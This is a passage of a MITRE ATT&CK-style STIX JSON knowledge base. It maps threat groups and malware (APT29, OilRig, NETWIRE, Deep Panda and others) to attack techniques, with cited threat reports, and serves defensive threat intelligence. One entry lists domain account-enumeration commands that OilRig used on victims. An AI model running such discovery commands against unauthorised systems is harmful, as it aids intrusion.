            "description": "[APT29](https://attack.mitre.org/groups/G0016) routinely removed their tools, including custom backdoors, once remote access was achieved. [APT29](https://attack.mitre.org/groups/G0016) has also used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Mandiant No Easy Breach)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "source_name": "Mandiant No Easy Breach"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2021-04-16T20:29:18.720Z",
            "created": "2017-05-31T21:33:27.048Z"
        },
        {
            "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to network shares.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "type": "relationship",
            "modified": "2019-04-29T18:23:15.997Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--553e41ba-f8e6-408c-bdbd-f46246124df6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) has a command to delete files.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.892Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5d6984fc-52cb-429b-9e68-64e656d9ad30",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim\u2019s machine to run as a standalone process.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.233Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.(Citation: Alperovitch 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-03-22T20:09:34.753Z",
            "created": "2017-05-31T21:33:27.043Z"
        },
        {
            "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used downloaded encrypted payloads over HTTP.(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.428Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--93642a19-cc8f-4298-9398-8d5d029fe53d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "type": "relationship",
            "modified": "2020-05-18T19:46:02.259Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fabd053f-487c-404f-b1b0-b090e442ff83",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-08-17T14:08:26.556Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b003a96b-81f7-436c-99a6-a25323f759ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-26T18:08:20.202Z",
            "created": "2017-05-31T21:33:27.018Z"
        },
        {
            "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s code may be obfuscated through structured exception handling and return-oriented programming.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.593Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[httpclient](https://attack.mitre.org/software/S0068) encrypts C2 content with XOR using a single byte, 0x12.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-17T01:34:10.822Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-17T01:57:57.402Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "After copying itself to a DLL file, a variant of [Elise](https://attack.mitre.org/software/S0081) calls the DLL file using rundll32.exe.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-04-17T22:12:24.831Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c1ed0848-df59-4cd1-8e39-a0d87002c652",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Netwire Mar 2015",
                    "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                },
                {
                    "source_name": "FireEye APT33 Webinar Sept 2017",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "url": "https://www.brighttalk.com/webcast/10703/275683"
                },
                {
                    "source_name": "FireEye NETWIRE March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html",
                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Red Canary NETWIRE January 2020",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2021-01-12T18:38:41.126Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>net user</code>, <code>net user /domain</code>, <code>net group \u201cdomain admins\u201d /domain</code>, and <code>net group \u201cExchange Trusted Subsystem\u201d /domain</code> to get account listings on a victim.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T20:18:02.511Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that exfiltrates data over the C2 channel.(Citation: FireEye Clandestine Fox)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.484Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to delete files.(Citation: FireEye APT17)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT17",
                    "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"
                }
            ],
            "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T19:06:43.762Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9725630d-a737-43dd-a68f-a09987735846",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.488Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Office vulnerabilities CVE-2014-4114, CVE-2018-0802, and CVE-2018-0798 for execution.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2020-06-24T01:27:31.912Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e534bf54-5f9f-4d5f-bd9d-260e56da4951",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about network adapters.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.729Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.(Citation: RSA Shell Crew)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf",
                    "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.",
                    "source_name": "RSA Shell Crew"
                }
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "type": "relationship",
            "modified": "2020-04-17T21:11:30.420Z",
            "created": "2017-05-31T21:33:27.044Z"
        },
        {
            "id": "relationship--56e08b91-312e-4e22-b1d7-4a0742883881",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.(Citation: Palo Alto Reaver Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.853Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a9bbbd0f-3f45-4efa-9e6b-56ed2c9b9126",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can sniff plaintext network credentials and use NBNS Spoofing to poison name services.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.855Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "type": "relationship",
            "modified": "2020-03-17T16:25:23.448Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--93f51dcb-f2cf-4aa2-880d-c2b9388252ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) encrypts command and control communications with RC4.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:13:57.334Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--062874d1-8ca9-400f-8367-670b9c7c3280",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of logging keystrokes.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
